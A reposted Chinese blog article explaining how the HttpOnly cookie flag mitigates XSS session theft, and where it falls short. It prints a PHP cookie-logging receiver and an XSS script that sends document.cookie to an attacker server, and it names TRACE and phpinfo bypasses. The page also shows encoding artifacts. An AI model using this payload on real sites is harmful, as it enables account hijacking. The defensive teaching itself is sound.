日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[转]使用HttpOnly提升Cookie安全性

發(fā)布時(shí)間:2024/4/15 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [转]使用HttpOnly提升Cookie安全性 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

原文:https://www.cnblogs.com/zlhff/p/5477943.html

在介紹HttpOnly之前,我想跟大家聊聊Cookie及XSS。

隨著B/S的普及,我們平時(shí)上網(wǎng)都是依賴于http協(xié)議完成,而Http是無狀態(tài)的,即同一個(gè)會(huì)話的連續(xù)兩個(gè)請(qǐng)求互相不了解,他們由最新實(shí)例化的環(huán)境進(jìn)行解析,除了應(yīng)用本身可能已經(jīng)存儲(chǔ)在全局對(duì)象中的所有信息外,該環(huán)境不保存與會(huì)話有關(guān)的任何信息,http是不會(huì)為了下一次連接而維護(hù)這次連接所傳輸?shù)男畔⒌摹K詾榱嗽诿看螘?huì)話之間傳遞信息,就需要用到cookie和session,無論是什么,都是為了讓服務(wù)器端獲得一個(gè)token來檢查合法性,很多時(shí)候都是在cookie中存儲(chǔ)一個(gè)sessionID,服務(wù)器來識(shí)別該用戶,那么安全隱患也就引申而出了,只要獲得這個(gè)cookie,就可以取得別人的身份,特別是管理員等高級(jí)權(quán)限帳號(hào)時(shí),危害就大了,而XSS就是在別人的應(yīng)用程序中惡意執(zhí)行一段JS以竊取用戶的cookie。

那么如何獲得Cookie劫持呢?在瀏覽器中的document對(duì)象中,就儲(chǔ)存了Cookie的信息,而利用js可以把這里面的Cookie給取出來,只要得到這個(gè)Cookie就可以擁有別人的身份了。下面簡(jiǎn)單說說如何竊取cookie。

接收cookie的PHP文件ck.php為:

<?php?
$cookie?=?$_GET['c'];?
$ip?=?getenv?('REMOTE_ADDR');?
$time=date("j?F,?Y,?g:i?a");?
$referer=getenv?('HTTP_REFERER');?
$fp?=?fopen('cookie.txt',?'a');?
fwrite($fp,?'Cookie:?'.$cookie.'<br>?IP:?'?.$ip.?'<br>?Date?and?Time:?'?.$time.?'<br>?Referer:?'.$referer.'<br><br><br>');?
fclose($fp);?
?>

把這個(gè)文件放在自己的服務(wù)器上,比如我們搭建的服務(wù)器為:http://10.65.21.78:8080?.

那么構(gòu)造XSS語句:

<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>

當(dāng)執(zhí)行script成功時(shí)就會(huì)把cookie發(fā)送到自己的服務(wù)器下cookie.txt文件中。XSS攻擊是多么可怕的事情。

說了這么多,貌似還沒有提到HttpOnly,這是哪般?莫及!這就到了!如何保障我們的Cookie安全呢?Cookie都是通過document對(duì)象獲取的,我們?nèi)绻茏宑ookie在瀏覽器中不可見就可以了,那HttpOnly就是在設(shè)置cookie時(shí)接受這樣一個(gè)參數(shù),一旦被設(shè)置,在瀏覽器的document對(duì)象中就看不到cookie了。而瀏覽器在瀏覽網(wǎng)頁的時(shí)候不受任何影響,因?yàn)镃ookie會(huì)被放在瀏覽器頭中發(fā)送出去(包括Ajax的時(shí)候),應(yīng)用程序也一般不會(huì)在JS里操作這些敏感Cookie的,對(duì)于一些敏感的Cookie我們采用HttpOnly,對(duì)于一些需要在應(yīng)用程序中用JS操作的cookie我們就不予設(shè)置,這樣就保障了Cookie信息的安全也保證了應(yīng)用。

給瀏覽器設(shè)置Cookie的頭如下:

Set-Cookie:?=[;?=]
[;?expires=][;?domain=]
[;?path=][;?secure][;?HttpOnly]

如果?Cookie?具有?HttpOnly?特性且不能通過客戶端腳本訪問,則為?true;否則為?false。默認(rèn)值為?false。

但是,也可以看到HttpOnly并不是萬能的,首先它并不能解決XSS的問題,仍然不能抵制一些有耐心的黑客的攻擊,甚至一些基于XSS的proxy也出現(xiàn)了,但是已經(jīng)可以提高攻擊的門檻了,起碼XSS攻擊不是每個(gè)腳本小子都能完成的了,而且其他的那些攻擊手法因?yàn)橐恍┉h(huán)境和技術(shù)的限制,并不像Cookie竊取這種手法一樣通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的,關(guān)鍵問題是只要能取到瀏覽器發(fā)送的Cookie頭就可以了。譬如以前出現(xiàn)的Http?Trace攻擊就可以將你的Header里的Cookie回顯出來,利用Ajax或者flash就可以完成這種攻擊,這種手法也已經(jīng)在Ajax和flash中獲得修補(bǔ)。另外一個(gè)關(guān)于配置或者應(yīng)用程序上可能Bypass的顯著例子就是phpinfo,大家知道phpinfo會(huì)將瀏覽器發(fā)送的http頭回顯出來,其中就包括我們保護(hù)的auth信息,而這個(gè)頁面經(jīng)常存在在各種站點(diǎn)上,只要用ajax取phpinfo頁面,取出header頭對(duì)應(yīng)的部分就可以獲得Cookie了。一些應(yīng)用程序的不完善也可能導(dǎo)致header頭的泄露,這種攻擊方式對(duì)于基本驗(yàn)證保護(hù)的頁面一樣可以攻擊。

HttpOnly在IE?6以上,Firefox較新版本都得到了比較好的支持,并且在如Hotmail等應(yīng)用程序里都有廣泛的使用,并且已經(jīng)是取得了比較好的安全效果。

那問題就來了,大家想想,HttpOnly?主要是為了限制web頁面程序的browser端script程序讀取cookie,?實(shí)際是瀏覽器通過協(xié)議實(shí)現(xiàn)限制的,黑客可不會(huì)那么傻,肯定不會(huì)用HTTP協(xié)議來讀取cookie,肯定是在socket層面寫抓包程序,相當(dāng)于寫一個(gè)低于IE6版本的應(yīng)用程序。

所以,HttpOnly并不是萬能的。

轉(zhuǎn)載于:https://www.cnblogs.com/makai/p/11191132.html

總結(jié)

以上是生活随笔為你收集整理的[转]使用HttpOnly提升Cookie安全性的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。